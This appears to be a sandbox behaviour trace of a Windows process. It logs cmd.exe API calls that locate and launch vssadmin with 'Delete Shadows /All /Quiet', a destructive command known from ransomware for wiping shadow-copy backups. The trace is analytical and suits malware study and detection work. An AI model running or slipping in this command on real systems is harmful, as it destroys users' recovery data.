	[0064.239] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x5c) returned 0x2de83010fc0
	[0064.239] GetProcessHeap () returned 0x2de83010000
	[0064.239] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de8301a530) returned 1
	[0064.239] GetConsoleOutputCP () returned 0x1b5
	[0064.272] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0064.272] GetUserDefaultLCID () returned 0x409
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff79f78bb78, cchData=8 | out: lpLCData=":") returned 2
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xf1299bfc50, cchData=128 | out: lpLCData="0") returned 2
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xf1299bfc50, cchData=128 | out: lpLCData="0") returned 2
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xf1299bfc50, cchData=128 | out: lpLCData="1") returned 2
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff79f78bb68, cchData=8 | out: lpLCData="/") returned 2
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff79f78bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff79f78bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff79f78ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff79f78ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff79f78ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff79f78b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff79f78b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff79f78bb58, cchData=8 | out: lpLCData=".") returned 2
	[0064.273] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff79f78bb40, cchData=8 | out: lpLCData=",") returned 2
	[0064.273] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0064.275] GetProcessHeap () returned 0x2de83010000
	[0064.275] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x0, Size=0x20c) returned 0x2de830110a0
	[0064.275] GetConsoleTitleW (in: lpConsoleTitle=0x2de830110a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0064.287] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0064.287] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830
	[0064.287] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300
	[0064.288] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40
	[0064.288] ??_V@YAXPEAX@Z () returned 0x1
	[0064.317] GetProcessHeap () returned 0x2de83010000
	[0064.317] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x4012) returned 0x2de8301a530
	[0064.317] GetProcessHeap () returned 0x2de83010000
	[0064.317] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de8301a530) returned 1
	[0064.318] _wcsicmp (_String1="vssadmin", _String2=")") returned 77
	[0064.318] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16
	[0064.318] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16
	[0064.318] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13
	[0064.318] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13
	[0064.318] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4
	[0064.318] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4
	[0064.318] GetProcessHeap () returned 0x2de83010000
	[0064.318] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xb0) returned 0x2de830112c0
	[0064.318] GetProcessHeap () returned 0x2de83010000
	[0064.318] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x22) returned 0x2de83011380
	[0064.319] GetProcessHeap () returned 0x2de83010000
	[0064.319] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x48) returned 0x2de830113b0
	[0064.320] GetConsoleTitleW (in: lpConsoleTitle=0xf1299bfb40, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0064.324] malloc (_Size=0xffce) returned 0x2de83220060
	[0064.324] ??_V@YAXPEAX@Z () returned 0x2de83220060
	[0064.325] malloc (_Size=0xffce) returned 0x2de83230040
	[0064.325] ??_V@YAXPEAX@Z () returned 0x2de83230040
	[0064.325] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0064.326] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
	[0064.327] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
	[0064.328] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
	[0064.328] ??_V@YAXPEAX@Z () returned 0x1
	[0064.329] GetProcessHeap () returned 0x2de83010000
	[0064.329] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xffde) returned 0x2de8301a530
	[0064.329] GetProcessHeap () returned 0x2de83010000
	[0064.330] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x5a) returned 0x2de83011400
	[0064.330] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
	[0064.330] malloc (_Size=0xffce) returned 0x2de83230040
	[0064.330] ??_V@YAXPEAX@Z () returned 0x2de83230040
	[0064.330] GetProcessHeap () returned 0x2de83010000
	[0064.330] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x1ffac) returned 0x2de8302a520
	[0064.332] SetErrorMode (uMode=0x0) returned 0x8003
	[0064.332] SetErrorMode (uMode=0x1) returned 0x0
	[0064.332] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2de8302a530, lpFilePart=0xf1299bf3c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xf1299bf3c0*="Desktop") returned 0x17
	[0064.332] SetErrorMode (uMode=0x8003) returned 0x1
	[0064.332] GetProcessHeap () returned 0x2de83010000
	[0064.333] RtlReAllocateHeap (Heap=0x2de83010000, Flags=0x0, Ptr=0x2de8302a520, Size=0x52) returned 0x2de8302a520
	[0064.333] GetProcessHeap () returned 0x2de83010000
	[0064.333] RtlSizeHeap (HeapHandle=0x2de83010000, Flags=0x0, MemoryPointer=0x2de8302a520) returned 0x52
	[0064.333] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb
	[0064.333] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0064.333] GetProcessHeap () returned 0x2de83010000
	[0064.333] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x1bc) returned 0x2de83011470
	[0064.333] GetProcessHeap () returned 0x2de83010000
	[0064.333] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x368) returned 0x2de83011640
	[0064.346] GetProcessHeap () returned 0x2de83010000
	[0064.346] RtlReAllocateHeap (Heap=0x2de83010000, Flags=0x0, Ptr=0x2de83011640, Size=0x1be) returned 0x2de83011640
	[0064.346] GetProcessHeap () returned 0x2de83010000
	[0064.346] RtlSizeHeap (HeapHandle=0x2de83010000, Flags=0x0, MemoryPointer=0x2de83011640) returned 0x1be
	[0064.346] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff79f78bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0064.346] GetProcessHeap () returned 0x2de83010000
	[0064.346] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xe8) returned 0x2de83011810
	[0064.346] GetProcessHeap () returned 0x2de83010000
	[0064.346] RtlReAllocateHeap (Heap=0x2de83010000, Flags=0x0, Ptr=0x2de83011810, Size=0x7e) returned 0x2de83011810
	[0064.346] GetProcessHeap () returned 0x2de83010000
	[0064.346] RtlSizeHeap (HeapHandle=0x2de83010000, Flags=0x0, MemoryPointer=0x2de83011810) returned 0x7e
	[0064.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0064.347] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf1299bf130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf1299bf130) returned 0xffffffffffffffff
	[0064.347] GetLastError () returned 0x2
	[0064.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0064.347] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf1299bf130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf1299bf130) returned 0xffffffffffffffff
	[0064.348] GetLastError () returned 0x2
	[0064.348] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0064.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xf1299bf130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf1299bf130) returned 0x2de830118a0
	[0064.348] GetProcessHeap () returned 0x2de83010000
	[0064.348] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x0, Size=0x28) returned 0x2de83011900
	[0064.348] FindClose (in: hFindFile=0x2de830118a0 | out: hFindFile=0x2de830118a0) returned 1
	[0064.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xf1299bf130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf1299bf130) returned 0xffffffffffffffff
	[0064.349] GetLastError () returned 0x2
	[0064.349] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xf1299bf130, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xf1299bf130) returned 0x2de830118a0
	[0064.349] GetProcessHeap () returned 0x2de83010000
	[0064.349] RtlReAllocateHeap (Heap=0x2de83010000, Flags=0x0, Ptr=0x2de83011900, Size=0x8) returned 0x2de83011900
	[0064.349] FindClose (in: hFindFile=0x2de830118a0 | out: hFindFile=0x2de830118a0) returned 1
	[0064.349] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0064.349] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0064.349] ??_V@YAXPEAX@Z () returned 0x1
	[0064.349] GetConsoleTitleW (in: lpConsoleTitle=0xf1299bf6b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0064.353] InitializeProcThreadAttributeList (in: lpAttributeList=0xf1299bf5d0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xf1299bf4c0 | out: lpAttributeList=0xf1299bf5d0, lpSize=0xf1299bf4c0) returned 1
	[0064.354] UpdateProcThreadAttribute (in: lpAttributeList=0xf1299bf5d0, dwFlags=0x0, Attribute=0x60001, lpValue=0xf1299bf4ac, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xf1299bf5d0, lpPreviousValue=0x0) returned 1
	[0064.354] GetStartupInfoW (in: lpStartupInfo=0xf1299bf560 | out: lpStartupInfo=0xf1299bf560*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x14c, hStdOutput=0x150, hStdError=0x154)) 
	[0064.354] GetProcessHeap () returned 0x2de83010000
	[0064.354] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x20) returned 0x2de830118a0
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0064.354] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0064.355] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0064.355] GetProcessHeap () returned 0x2de83010000
	[0064.355] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de830118a0) returned 1
	[0064.355] GetProcessHeap () returned 0x2de83010000
	[0064.355] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0x12) returned 0x2de830118a0
	[0064.355] lstrcmpW (lpString1="\\vssadmin.exe", lpString2="\\XCOPY.EXE") returned -1
	[0064.357] _get_osfhandle (_FileHandle=1) returned 0x150
	[0064.357] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0064.357] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0064.357] SetConsoleMode (hConsoleHandle=0x14c, dwMode=0x0) returned 0
	[0064.357] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin  Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xf1299bf4f0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin  Delete Shadows /All /Quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xf1299bf4c8 | out: lpCommandLine="vssadmin  Delete Shadows /All /Quiet", lpProcessInformation=0xf1299bf4c8*(hProcess=0x90, hThread=0x8c, dwProcessId=0xd34, dwThreadId=0x1a0)) returned 1
	[0064.867] CloseHandle (hObject=0x8c) returned 1
	[0064.867] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0064.867] GetProcessHeap () returned 0x2de83010000
	[0064.867] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de83019a50) returned 1
	[0064.867] GetEnvironmentStringsW () returned 0x2de830159f0*
	[0064.867] GetProcessHeap () returned 0x2de83010000
	[0064.867] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xacc) returned 0x2de83018f70
	[0064.867] FreeEnvironmentStringsA (penv="=") returned 1
	[0064.867] WaitForSingleObject (hHandle=0x90, dwMilliseconds=0xffffffff) returned 0x0
	[0067.221] GetExitCodeProcess (in: hProcess=0x90, lpExitCode=0xf1299bf448 | out: lpExitCode=0xf1299bf448*=0x2) returned 1
	[0067.221] CloseHandle (hObject=0x90) returned 1
	[0067.221] _vsnwprintf (in: _Buffer=0xf1299bf618, _BufferCount=0x13, _Format="%08X", _ArgList=0xf1299bf458 | out: _Buffer="00000002") returned 8
	[0067.222] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1
	[0067.222] GetProcessHeap () returned 0x2de83010000
	[0067.222] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de83018f70) returned 1
	[0067.222] GetEnvironmentStringsW () returned 0x2de83017eb0*
	[0067.222] GetProcessHeap () returned 0x2de83010000
	[0067.222] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xaf2) returned 0x2de830189b0
	[0067.222] FreeEnvironmentStringsA (penv="=") returned 1
	[0067.222] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0067.222] GetProcessHeap () returned 0x2de83010000
	[0067.222] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de830189b0) returned 1
	[0067.222] GetEnvironmentStringsW () returned 0x2de83017eb0*
	[0067.222] GetProcessHeap () returned 0x2de83010000
	[0067.222] RtlAllocateHeap (HeapHandle=0x2de83010000, Flags=0x8, Size=0xaf2) returned 0x2de830189b0
	[0067.223] FreeEnvironmentStringsA (penv="=") returned 1
	[0067.223] GetProcessHeap () returned 0x2de83010000
	[0067.223] RtlFreeHeap (HeapHandle=0x2de83010000, Flags=0x0, BaseAddress=0x2de830118a0) returned 1
	[0067.223] DeleteProcThreadAttributeList (in: lpAttributeList=0xf1299bf5d0 | out: lpAttributeList=0xf1299bf5d0) 
	[0067.223] ??_V@YAXPEAX@Z () returned 0x1
	[0067.223] _get_osfhandle (_FileHandle=1) returned 0x150
	[0067.223] SetConsoleMode (hConsoleHandle=0x150, dwMode=0x0) returned 0
	[0067.223] _get_osfhandle (_FileHandle=1) returned 0x150
	[0067.223] GetConsoleMode (in: hConsoleHandle=0x150, lpMode=0x7ff79f78fc08 | out: lpMode=0x7ff79f78fc08) returned 0
	[0067.223] _get_osfhandle (_FileHandle=0) returned 0x14c
	[0067.223] GetConsoleMode (in: hConsoleHandle=0x14c, lpMode=0x7ff79f78fc0c | out: lpMode=0x7ff79f78fc0c) returned 0
	[0067.223] GetConsoleOutputCP () returned 0x1b5
	[0067.224] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0067.224] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0067.226] exit (_Code=2) 

Thread:
	id = 22
	os_tid = 0xb50


Process:
	id = "5"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0xa196000"
	os_pid = "0xd00"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0xd14"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
